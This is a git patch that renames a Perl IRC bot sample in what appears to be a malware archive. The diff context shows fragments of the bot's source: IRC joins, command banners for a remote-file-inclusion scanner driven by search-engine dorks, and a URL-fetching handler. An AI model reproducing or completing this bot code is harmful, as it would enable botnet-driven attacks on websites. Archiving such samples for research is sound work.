From 5b1a652ec2c1db13f74017c6f27c7ee1e8a92a3c Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 00:54:08 -0600
Subject: [PATCH] Rename Backdoor.Perl.IRCBot.n to
 Backdoor.Perl.IRCBot.Scanner.m

---
 ...ackdoor.Perl.IRCBot.n => Backdoor.Perl.IRCBot.Scanner.m} | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)
 rename Perl/{Backdoor.Perl.IRCBot.n => Backdoor.Perl.IRCBot.Scanner.m} (97%)

diff --git a/Perl/Backdoor.Perl.IRCBot.n b/Perl/Backdoor.Perl.IRCBot.Scanner.m
similarity index 97%
rename from Perl/Backdoor.Perl.IRCBot.n
rename to Perl/Backdoor.Perl.IRCBot.Scanner.m
index 73f10218..71233595 100644
--- a/Perl/Backdoor.Perl.IRCBot.n
+++ b/Perl/Backdoor.Perl.IRCBot.Scanner.m
@@ -40,13 +40,13 @@ print $dsp "USER infira 8 *  : infira \r\n";
 print $dsp "JOIN $channel\r\n";
 print $dsp "PRIVMSG $channel :9,1Priv8 Scaner Pornit!! \r\n";
 print $dsp "PRIVMSG $channel :8,1Comanda Scan:9,1 !scan bug dork 0,1& 4,1!google bug dork \r\n";
-print $dsp "PRIVMSG $channel :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
+print $dsp "PRIVMSG $channel :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
 sleep(1);
 print $dsp "NICK $nickname\r\n";
 print $dsp "USER SeaNet *  : SeaNet \r\n";
 print $dsp "JOIN $chanres\r\n";
 print $dsp "PRIVMSG $chanres :9,1Aici vin rezultatele :) \r\n";
-print $dsp "PRIVMSG $chanres :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
+print $dsp "PRIVMSG $chanres :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
 
 while ( $line = <$dsp> ) {
 
@@ -123,7 +123,7 @@ while ( $line = <$dsp> ) {
           }
 
     if ( $line =~ /PRIVMSG $channel :!id/ )
-    {    ## ©© Script made by kangkung . Don't remove this comment !
+    {    ## ©© Script made by kangkung . Don't remove this comment !
         my $testid = $id;
         my $req    = HTTP::Request->new( GET => $testid );
         my $ua     = LWP::UserAgent->new();